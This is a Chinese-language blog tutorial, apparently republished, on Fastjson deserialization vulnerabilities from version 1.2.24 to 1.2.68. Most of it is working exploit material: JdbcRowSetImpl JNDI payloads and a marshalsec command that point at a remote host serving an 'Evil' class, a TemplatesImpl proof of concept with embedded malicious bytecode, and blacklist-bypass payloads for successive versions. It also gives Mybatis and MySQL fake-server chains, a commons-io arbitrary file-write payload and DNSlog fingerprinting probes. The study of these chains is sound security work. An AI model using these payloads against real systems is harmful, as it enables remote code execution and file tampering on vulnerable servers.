0x00:Fastjson简介
Fastjson 是阿里巴巴开源的一个 Java 的 JSON 解析库。它提供了快速、高效、简洁的 JSON 解析功能。Fastjson 不仅支持常见的 JSON 数据类型(如字符串、数字、布尔值、数组、对象等),还支持 Java 原生数据类型(如整型、浮点型、数组、集合等)与 JSON 之间的互相转换。Fastjson 支持通过注解和 API 自定义 JSON 序列化和反序列化的过程,以满足不同的需求。总的来说,Fastjson 是一个高效、易用、功能丰富的 JSON 解析库,是处理 JSON 数据的首选工具。
0x001:产生反序列化漏洞的原因
Fastjson 反序列化漏洞产生的原因通常是由于 Fastjson 库在反序列化 JSON 数据时存在安全漏洞。这些漏洞可以被攻击者利用来执行任意代码、访问系统文件、读取敏感数据等危险操作。
具体来说,Fastjson 反序列化漏洞的产生原因包括:
1、反序列化时不对用户输入的 JSON 数据进行足够的安全检查,从而导致攻击者可以在反序列化的过程中注入恶意数据。
2、Fastjson 库支持反序列化非 Java 原生类型的对象,如果不对这些对象进行足够的安全限制,攻击者就可以通过构造恶意 JSON 数据来执行任意代码。
3、Fastjson 库在反序列化 JSON 数据时存在多处安全漏洞,例如针对关键字的黑名单检查不严格,对类型的限制不严格等。
4、Fastjson 库没有对类加载器进行足够的限制,从而导致攻击者可以利用类加载器加载恶意类,并在反序列化 JSON 数据时执行任意代码。
简单的来说:
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制会调用指定类中的setter方法及部分getter方法,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有gadget,则会造成一些严重的安全问题。
0x003实验环境搭建
创建一个MVN项目,并在pom.xml中添加含有漏洞版本的Fastjson(本次实验的版本是1.2.24)
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
修改JDK版本为8u161 < jdk < 8u191(本次实验使用的是8U162)
创建一个pojo类
package flynAAAA;
public class Student {
private String name;
private int age;
private String hobby;
public Student() {
}
public Student(String name, int age, String hobby) {
this.name = name;
this.age = age;
this.hobby = hobby;
}
public String getName() {
System.out.println("调用了getName");
return name;
}
public void setName(String name) {
System.out.println("调用了setName");
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getHobby() {
return hobby;
}
public void setHobby(String hobby) {
this.hobby = hobby;
}
@Override
public String toString() {
return "user{" +
"name='" + name + '\'' +
", age=" + age +
", hobby='" + hobby + '\'' +
'}';
}
}
创建一个测试类
package flynAAAA;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Unser {
public static void main(String[] args) {
Student user = new Student("FlynAAAA",18,"Play");
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);//把user对象转换成带@type的json字符串
System.out.println(s2);
System.out.println("----------------------------------");
Object parse1 = JSON.parseObject(s2);
System.out.println(parse1);//把json字符串转换成对象
System.out.println(parse1.getClass().getName());
}
}
运行结果:
从结果可以看出
转换成的json字符串带@type,他的值为flynAAAA.Student,也就是说指定反序列化的类型为flynAAAA.Student
在使用parseObject将S2利用反序列化转换成对象的时候调用了Name的seter和geter方法。
0x004 调试反序列化过程:
接下来对反序列化流程进行分析:
紧接着将json字符串转换成parse对象,接下来进入parse对象中
再次对parse进行跟进。
进入parse中,这里回创建一个默认的parser对象“DefaultJSONParser”,继续跟进DefaultJSONParser。作用是对对输入的数据进行封装。
在DefaultJSONParser中会对输入的json字符串进行判断如果开头是“{”给一个token值为12,如果是“[”给值14。最终token的值为12.
紧接着返回parse类中,之后执行DefaultJSONParser类中的parse方法。继续进行跟进。
在DefaultJSONParser类中的,先将上一步DefaultJSONParser封装的结果赋值给lexer。
parse方法中会对前面的token值进行判断,不同token会进行不同的操作。Token值为12,首先创建了一个JSONObject对象,该对象是一个map类型的。之后在执行DefaultJSONParser类中的parseObject方法。
跟进DefaultJSONParser类中的parseObject方法,在该方法中会对当前对象的token值进行判断。之后根据转换的方式(转换方式可以这样理解:@type是自动转换)进行判断,根据转换方式得到需要反序列化类的名字(lexer.scanSymbol的作用就是得到需要反序列化类的名字,@type:flynAAAA.Student),之后使用TypeUtils.loadClass进行加载。
跟进TypeUtils.loadClass,需要反序列化类名别传入classname和classload被传入,此时classload为null。之后会在mappings进行查找flynAAAA.Student对应的值。
mappings的作用相当于缓存表里面存放着一些内置的类,由于mappings中没有flynAAAA.Student对应的值,所以当前clazz的值为空。
之后对clazz的值进行判断。
由于clazz的值为null,之后为clazz创建一个classload并放入mapping中。
之后返回到DefaultJSONParse#中的parseObiect中进行反序列化。跟进getDeserializer()
在getDeserializer(),首先在缓存里面进行查询。然后在进行getDeserializer,追进getDeserializer。
追进getDeserializer,也同样是在缓存里面进行检查,如果没有,会对反序列化的方式进行判断,不过之前会对有一个进行黑名单(denylist)判断。
Denylist的内容:
之后会以JavaBean的反序列化,在 createJavaBeanDeserializer使用JavaBean的反序列化。build方法通过反射加载clazz中的所有方法 位置com.alibaba.fastjson.util.JavaBeanInfo
之后在build方法中查找get、set
小结:
经过上面的调试,了解到fastjson将json字符串转换成对象时为什么调用Seter、get。以及反序列的流程,接下来分析gadget链子。
0x005:利用链分析
适用范围:Fastjson 1.2.22-1.2.24
JdbcRowSetImpl利用链
漏洞原理:
@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型
环境部署:
Fastjson版本:1.2.24
恶意rmi/ladp服务端:marshalsec-0.0.3-SNAPSHOT-all.jar
ldap:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.40.128:9988/#Evil" 8088
rmi:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.40.128:9988/#Evil" 8088
服务端恶意类:
import java.io.IOException;
public class Evil {
// 静态代码块, 当类被加载时调用
public Evil() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
在服务端恶意代码的当前目录下开启http服务:
python -m http.server 9988
创建一个mvn项目,并且创建一个demo
package flynAAAA;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class jndi {
public static void main (String[] args) {
String exp="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.40.128:8088/#Evil\",\"autoCommit\":true}";
JSON.parseObject(exp);
}
}
结果:
JdbcRowSetImpl利用链分析
经过上面的反序列话调试的部分一直往下走,到setDataSourceName:4298, JdbcRowSetImpl (com.sun.rowset)
直到setDataSourceName,dataSource的值为服务器上的恶意ldap地址
这个时候调用栈为:
setDataSourceName:4309, JdbcRowSetImpl (com.sun.rowset)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:10, jndi (flynAAAA)
直到JdbcRowSetImpl#setAutoCommit函数,设置autoCommit值,调用了connect()方法。跟进connect()方法。
在connect(),方法中this.con的值为空,紧接着判断DataSourceName(),上面已经知道DataSourceName值为ldap://192.168.40.128:8088/#Evil(可控),所以造成jndi漏洞。
Fastjson将对象转为Json通过toJSONString()方法,而将Json转换为对象有三个方法,这三个方法转换的时候也都会调用getter、setter,但触发条件不同:
1)parseObject(String text, Class\ clazz)
Getter
方法名需要长于4
非静态方法
以 get 字符串开头,且第四个字符需要是大写字母
方法不能有参数
返回值类型继承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong
getter 方法对应的属性只能有 getter 不能有setter方法
方法为 public 属性
Setter
方法名长度大于4且以set开头
非静态函数
返回类型为void或当前类
参数个数为1个
方法为 public 属性
2)parseObject(String text)
getter
方法名长度大于4且以get开头
非静态函数
方法不能有参数
public 属性
setter
方法名长度大于4且以set开头
非静态函数
返回类型为void或当前类
参数个数为1个
3)parse (String text)
getter
方法名需要长于4
非静态方法
以 get 字符串开头,且第四个字符需要是大写字母
方法不能有参数
返回值类型继承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong
getter 方法对应的属性只能有 getter 不能有setter方法
方法为 public 属性
setter
方法名长度大于4且以set开头
非静态函数
返回类型为void或当前类
参数个数为1个
public 属性
Templateslmpl利用链分析
漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。
优点:不出网
前提:在使用parse反序列话的时候第二个参数需要设置“Feature.SupportNonPublicField”所以有很大的限制。
环境搭建
先生成POC,代码如下:
package flynAAAA;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.tomcat.util.codec.binary.Base64;
public class TEMPOC {
public static class test{
}
public static void main(String[] args) throws Exception {
// 实例化 ClassPool 用于修改class文件
ClassPool pool = ClassPool.getDefault();
// 获取test.class
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 新建一个static代码块,内容为java.lang.Runtime.getRuntime().exec("calc.exe");
cc.makeClassInitializer().insertBefore(cmd);
// 设置类名。
String randomClassName = "FlynAAAAA"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
// 将生成的class文件保存当当前项目目录下
cc.writeFile("./");
try {
byte[] evilCode= cc.toBytecode();
String evilCode_base64 = new String(Base64.encodeBase64(evilCode));
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
// 输出构造好的POC
System.out.println(text1);
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行结果如下:
创建测试类:
package flynAAAA;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class jndi {
public static void main (String[] args) {
String exp="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAWTGZseW5BQUFBL1RFTVBPQyR0ZXN0OwEAClNvdXJjZUZpbGUBAAtURU1QT0MuamF2YQwABAAFBwATAQAUZmx5bkFBQUEvVEVNUE9DJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAPZmx5bkFBQUEvVEVNUE9DAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAIY2FsYy5leGUIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFEVyaXRrZW4zOTM5NzQwNjExMzAwAQAWTEVyaXRrZW4zOTM5NzQwNjExMzAwOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACMKACQADwAhAAIAJAAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAlsQAAAAIABwAAAAYAAQAAAA0ACAAAAAwAAQAAAAUACQAiAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ==\"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}";
JSON.parseObject(exp, Feature.SupportNonPublicField);
}
}
运行结果:
Templateslmpl链调试
前置:
ClassLoader 处理字节码的流程为 loadClass -> findClass -> defineClass
loadClass: 从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
findClass: 根据基础URL指定的方式来加载类的字节码
defineClass:处理前面传入的字节码,将其处理成真正的Java类
而Classloader#defineClass是protected方法,所以不可以直接调用,写一个简单的demo:
package flynAAAA;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Method;
public class Demo
{
// 定义test类用做恶意类
public static class test{}
public static void main(String[] args) throws Exception
{
// 反射拿 defineClass() 方法
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);
// 暴力访问
defineClass.setAccessible(true);
// 实例化 ClassPool 用于修改class文件
ClassPool pool = ClassPool.getDefault();
// 获取test.class
CtClass cc = pool.get(Demo.test.class.getName());
// 定义恶意静态方法
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 新建一个static代码块,内容为java.lang.Runtime.getRuntime().exec("calc.exe");
cc.makeClassInitializer().insertBefore(cmd);
// 设置类名。
String randomClassName = "FlynAAAA"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
// 将生成的class文件保存当当前项目目录下
cc.writeFile("./");
// 获取恶意类的字节码
byte[] evilCode = cc.toBytecode();
System.out.println(evilCode);
// 加载恶意类的字节码
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),null, evilCode, 0, evilCode.length);
hello.newInstance();
}
}
结果:
这里必须要newInstance(),否则即使是定义的static静态代码块也不会被加载,这就意味着想要利用defineClass去加载恶意字节码执行命令,就必须要有方法能够调用恶意类的构造方法(真正加载恶意类)
回到正题:
TemplatesImpl重写了defineClass(),并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里defineClass由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。
由于fastjson使用JSON.parseObject方法反序列化会调用get 和set方法.在TemplatesImpl中属性的get和set方法中getOutputProperties方法重写了newTransformer方法
继续跟进 newTransformer,发现在newTransformer里面使用了getTransletInstance(),
跟进getTransletInstance()需要_name!=null,_class == null
由于TemplatesImpl对defineclass进行了重写 对_bytecodes中的恶意代码进行加载,导致执行恶意代码.
Poc:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAWTGZseW5BQUFBL1RFTVBPQyR0ZXN0OwEAClNvdXJjZUZpbGUBAAtURU1QT0MuamF2YQwABAAFBwATAQAUZmx5bkFBQUEvVEVNUE9DJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAPZmx5bkFBQUEvVEVNUE9DAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAIY2FsYy5leGUIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAF0ZseW5BQUFBQTE4ODY1MDE3NDAyNzAwAQAZTEZseW5BQUFBQTE4ODY1MDE3NDAyNzAwOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACMKACQADwAhAAIAJAAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAlsQAAAAIABwAAAAYAAQAAAA0ACAAAAAwAAQAAAAUACQAiAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
0x006 高版本绕过方式:
1.2.25~1.2.41
1.2.25开始fastjson默认关闭了反序列化的类,如果需要反序列化类,需要开启AutoType,开启后对反序列化的类进行黑名单检测。下面是开启AutoType后的对白名单进行绕过。
环境搭建:
Fastjsong版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
开始先对在com.alibaba.fastjson.parser中加载黑名单:
之后在TypeUtils加载之前,进行checkAutoType检查:
跟进checkAutoType,之后进行黑名单匹配:
之后使用TypeUtils.classload进行加载该类
继续跟进,如果传入的类以“L”开头,以“;”结尾,那么便会掐头去尾,保留中间部分
结果将@type的值改成“Lcom.sun.rowset.JdbcRowSetImpl”,就能进行绕过。
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.40.128:8088/#Evil", "autoCommit":1}
1.2.25~1.2.42
fastjson版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>
在1.2.42,官方将黑名单类做hash混淆处理:
在checkAutoType方法中先对typeName进行长度判断大于3切小于128
与黑名单中的hash进行拼配后,为了修复上个版本的“L ;”绕过,在进入loadclass之前就进行“掐头去尾”,处理。
不难看出在loadclass方法里进行了“掐头去尾”处理,但这个loadclass方法是回调函数。
进行了三次“掐头去尾”后处理结果。
直到结果:
结果:
poc:
{"@type":"LLLcom.sun.rowset.JdbcRowSetImpl;;;","dataSourceName":"ldap://192.168.40.128:8088/#Evil", "autoCommit":1}
1.2.25~1.2.43
Fastjson版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.43</version>
</dependency>
经过上面的研究,可以想到这次修复肯定修复了LL开头,但是使用[又可以进行绕过。
Poc:
String exp="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://192.168.40.128:8088/Evil\", \"autoCommit\":true}]}";
//这里又一个fastjson第一个{是可以不用闭合,也就是说最后可以少一个}。理解不了没关系,这个POC是完整的闭合。
1.2.25~1.2.45
基于Mybatis的利用链
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,这条链子同样影响1.2.45,但Mybatis的版本必须小于3.5.6
Mybatis版本:
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.5</version>
</dependency>
Fastjson版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.43</version>
</dependency>
Demo:
package flynAAAA;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
import java.util.Properties;
public class client2 {
public static void main(String[] args) throws Exception {
JndiDataSourceFactory jndiDataSourceFactory = new JndiDataSourceFactory();
Properties datasource = new Properties();
datasource.setProperty("data_source", "ldap://192.168.40.128:8088/Evil");
jndiDataSourceFactory.setProperties(datasource);
}
}
如果properties中存在data_source键,则将对应值带如lookup(),造成JNDI注入:
最终POC:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://192.168.40.128:8088/#Evil"}
<=1.2.47
这次这个版本(借助浅蓝大佬的文章进行学习)可以在不需要开启autoTypeSupport的触发漏洞:
Fastjson版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
在checkAutoType中,在开启autoTypeSupport的情况下,代码会走到Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null来进行判断抛出异常,如果不符合的话会继续往下走从Mapping和deserializers缓存中寻找类,如果存在则返回clazz.这次使用的是java.lang.Class刚好可以绕过黑名单检测。通过deserializers.findClass找到该类。
而在ParserConfig类初始化时会执行initDeserializers方法,会向deserializers中添加许多的类,类似一种缓存,其中会添加这么一个类this.deserializers.put(Class.class, MiscCodec.instance);接下来直接进入MiscCode.java中的deseriale方法,lexer.token() == JSONToken.LITERAL_STRING为false走到else,紧接着进入parser.paser中,objVal的值为com.sun.rowset.JdbcRowSetImpl。
之后对objval的值进行判断,objVal赋值给strVal
随后进入TypeUtils.loadClass中,
跟进TypeUtils.loadClass,首先在mappings里面查找com.sun.rowset.JdbcRowSetImpl没有找到,之后创建一个为此创建了一个classload并加入缓存中。
当程序第二次加载checkAutoType()时,恶意类已经存在于mapping缓存中,所以成功取值clazz,直经过判断后接返回
非常巧妙地绕过了AutoType与黑名单机制,触发RCE,1.2.47的精髓就在于,通过java.lang.class触发缓存机制,利用loadClass()的递归解析将JdbcRowSetImpl添加到缓存,从而绕过了checkAutoType()与黑名单。
<=1.2.68
总结到这里真的麻了!!!!!(分析过程就先省略,有机会再补充)
升级后的checkAutoType()验证的流程图
Fastsjon版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>
MySQL版本
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.11</version>
</dependency>
这里Mysql的RCE利用的是JDBC的反序列化链,原理就是通过JDBC连接MySQL服务端时,会执行SQL查询,其中查询的结果集会在客户端调用ObjectInputStream.readObject()进行反序列化操作,如果我们能够控制结果以及连接地址,就会触发RCE。
需要用到fakemysql下载连接:
https://github.com/fnmsd/MySQL_Fake_Server/
下载完成之后解压将yso放到当前目录:
之后开启server:
Demo:
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections5_calc",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
结果:
还有师傅挖掘到了基于commons-io 2.0~2.6 的任意文件写入链,
POC:文章来源:https://www.toymoban.com/news/detail-757591.html
package flynAAAA;
import com.alibaba.fastjson.JSON;
import java.util.Random;
public class client6
{
private static final Random RAND = new Random();
public static void main(String[] args) {
String aaa_8192 = "FlynAAAAA"+"\n"+getRandomString(81920);
String write_name = "E://2.txt";
String payload_commons_io_filewrite_0_6 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}";
System.out.println(payload_commons_io_filewrite_0_6);
JSON.parse(payload_commons_io_filewrite_0_6);
}
public static String getRandomString(int numChars) {
int chars = RAND.nextInt(numChars);
while (chars == 0)
chars = RAND.nextInt(numChars);
StringBuffer sb = new StringBuffer();
for (int i = 0; i < chars; i++) {
int index = 97 + RAND.nextInt(26);
char c = (char) index;
sb.append(c);
}
return sb.toString();
}
}
结果:文章来源地址https://www.toymoban.com/news/detail-757591.html
0x007 指纹识别:
{"@type":"java.net.InetAddress","val":"dnslog"}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
{"ss":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}}""},}
[{"a":"a\x]
{"@type":"java.lang.AutoCloseable" //版本检测
到了这里,关于fastjson反序列化漏洞学习(一)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!